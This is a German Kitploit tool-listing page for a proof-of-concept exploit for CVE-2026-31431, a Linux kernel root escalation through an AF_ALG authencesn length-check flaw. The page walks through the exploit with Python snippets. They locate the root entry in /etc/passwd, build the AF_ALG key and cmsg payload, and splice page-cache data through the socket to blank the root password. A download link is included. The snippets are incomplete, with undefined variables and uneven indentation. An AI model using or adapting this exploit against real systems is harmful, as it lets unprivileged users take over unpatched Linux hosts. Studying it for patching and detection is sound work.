Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2026-31431-poc — Proof-of-Concept-Exploit für CVE-2026-31431, eine Linux-Kernel-Privilegienerweiterung über einen Umgehungsfehler der Längenprüfung von AF_ALG authenc, die Root-Zugriff durch Modifikation von /etc/passwd erreicht. | Kitploit
Tools/GitHubGitHub/yuspring/cve-2026-31431-poc
Privilege EscalationExploit-FrameworksSchwachstellenanalyseExploitationBinary-Exploitation
GitHubyuspring/cve-2026-31431-poc

cve-2026-31431-poc

Proof-of-Concept-Exploit für CVE-2026-31431, eine Linux-Kernel-Privilegienerweiterung über einen Umgehungsfehler der Längenprüfung von AF_ALG authenc, die Root-Zugriff durch Modifikation von /etc/passwd erreicht.

Repository anzeigen
33vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE 2026-31431 POC

Diese Schwachstelle nutzt einen Fehler in der Längenprüfung von authencesn unter Linux aus, wodurch eine Dirty Page an eine Stelle zurückgeschrieben wird, auf die der Benutzer keine Berechtigung hat, was zu einer Privilege-Escalation führt

Die Angriffsmethode basiert hauptsächlich auf diesem Repo, einige Payloads wurden modifiziert
https://github.com/rootsecdev/cve_2026_31431

image Dieses Bild zeigt den Korrektur-Patch des Linux-Kernels 6.12.85. Diese Patches werden später beim Tracing des Codes berücksichtigt

Implementierungsprozess

  1. Öffnen und Modifizieren von /etc/passwd im RAM
root@kitploit:~
# Get /etc/passwd file info
with open("/etc/passwd", "rb") as f:  # binary open
  content = f.read()
  idx = content.find(b"root:x")  # find root:x location
  x_offset = idx + 5  # Get x location

Ziel ist es, das Root-Passwort in /etc/passwd auf passwortlos zu ändern (ohne Verifizierung über /etc/shadow)

root@kitploit:~
# Before: root:[x:0:]0:root:/root:/bin/bash
# After   root:[:0:0]0:root:/root:/bin/bash
exploit_data = b":0:0"
  1. Socket verbinden und Payload konstruieren
root@kitploit:~
sock = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)  # Connect socket AF_ALG using sequence packet
sock.bind(("aead", ALG_NAME))

# Build the key payload
# Structure: [rtattr header (8 bytes)] + [enc_key_len (4 bytes)] + [authkey] + [enckey]
authkey, enckey = b"\x00" * 32, b"\x00" * 16
rtattr = struct.pack("HH", 8, 1)
keyparam = struct.pack(">I", len(enckey))
key = rtattr + keyparam + authkey + enckey

# Set key and accept socket
sock.setsockopt(SOL_ALG, ALG_SET_KEY, key)
op, _ = sock.accept() # open socket

# Send payload
payload = b"\x00" * 4 + string
cmsg = [
  (SOL_ALG, ALG_SET_OP, struct.pack("I", 0)),  # Decrypt
  (SOL_ALG, ALG_SET_IV, struct.pack("I", 16) + b"\x00" * 16), # Set IV
  (SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack("I", 8)), # Set AAD length(8)
  ]
  op.sendmsg([payload], cmsg, socket.MSG_MORE)
  1. Senden des Payloads über den Socket, wodurch die Dirty Page in die Datei zurückgeschrieben wird
root@kitploit:~
# Splice connection
# Page Cache(exploit payload) -> socket(AF_ALG) -> Data(write back) -> pwn!!!
pr, pw = os.pipe()
os.splice(fd, pw, 32, offset_src=x_offset) # copy data from Page Cache to pipe
os.splice(pr, op.fileno(), 32)             # copy data from pipe to socket
try:
  op.recv(64)
except OSError:
  pass

Referenz

https://xint.io/blog/copy-fail-linux-distributions

Tool herunterladen